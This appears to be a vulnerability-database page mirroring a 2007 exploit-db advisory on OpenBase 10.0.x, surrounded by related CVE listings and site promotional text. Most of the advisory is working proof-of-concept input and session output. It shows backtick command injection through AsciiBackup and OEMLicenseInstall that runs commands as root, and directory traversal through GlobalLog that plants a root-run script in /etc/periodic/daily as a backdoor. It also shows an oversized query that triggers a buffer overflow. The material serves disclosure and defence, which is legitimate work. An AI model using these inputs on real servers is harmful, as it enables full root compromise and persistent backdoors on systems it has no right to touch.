Lucene search
+L

OpenBase 10.0.x - Remote Buffer Overflow / Remote Command Execution

🗓️ 05 Nov 2007 00:00:00Reported by Kevin FinisterreType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

OpenBase 10.0.x has buffer overflow and remote command execution vulnerabilities allowing root access.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2007-5926
3 Apr 202514:35
circl
cve
CVE
CVE-2007-5926
10 Nov 200702:00
cve
cvelist
Cvelist
CVE-2007-5926
10 Nov 200702:00
cvelist
euvd
EUVD
EUVD-2007-5896
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-5926
10 Nov 200702:46
nvd
prion
Prion
Code injection
10 Nov 200702:46
prion
prion
Prion
Directory traversal
10 Nov 200702:46
prion
ptsecurity
Positive Technologies
PT-2007-6859 · Openbase · Openbase
10 Nov 200700:00
ptsecurity
redhatcve
RedhatCVE
CVE-2007-5927
21 May 202521:40
redhatcve
source: https://www.securityfocus.com/bid/26347/info

OpenBase is prone to a buffer-overflow vulnerability and multiple remote command-execution vulnerabilities.

An attacker could exploit these issues to execute arbitrary code or commands with superuser privileges. Successfully exploiting these issues will facilitate in the complete compromise of affected computers.

1. call AsciiBackup('\`id\`')
results in commands being run as root.

desktop:/tmp kfinisterre$ tail -f /tmp/isql_messages

OpenBase ISQL version 8.0 for MacOS X
Copyright (c) 1993-2003 OpenBase International. Ltd.
All Rights Reserved.

Using database 'WOMovies' on host 'localhost'

Could not write file:uid=0(root) gid=0(wheel) groups=0(wheel)/WOMovies.bck

2. call GlobalLog("../../../path/to/file", "\n user input goes here \n")
results in root owned files being created. Combine with above for an
easy backdoor.

openbase 1> call GlobalLog("../../../../../../etc/periodic/daily/600"
, "\n/usr/bin/id > /tmp/file\n")
openbase 2> go
Data returned... calculating column widths

return_0
- ----------
Success
- ----------
1 rows returned - 0.039 seconds (printed in 0.039 seconds)
openbase 1>  call AsciiBackup('`chmod +x /etc/periodic/daily/600.msg;
/usr/sbin/periodic daily`')
openbase 2> go
Data returned... calculating column widths

return_0
- ----------
Failure
- ----------
1 rows returned - 1.825 seconds (printed in 1.826 seconds)
openbase 1>

3. select aaaaaaaaaaaaaaaaaaaa... from aaaaaaaaaaaaaaaaaaa...
results in zone_free() issues referencing 0x61616161

4. call OEMLicenseInstall("`/usr/bin/id>/tmp/aaax`","`/usr/bin/id>/tmp/bbbx
`","`/usr/bin/id>/tmp/ddddx`","`/usr/bin/id>/tmp/cdfx`")
results in commands being run as root

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jan 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29
EPSS0.03441
40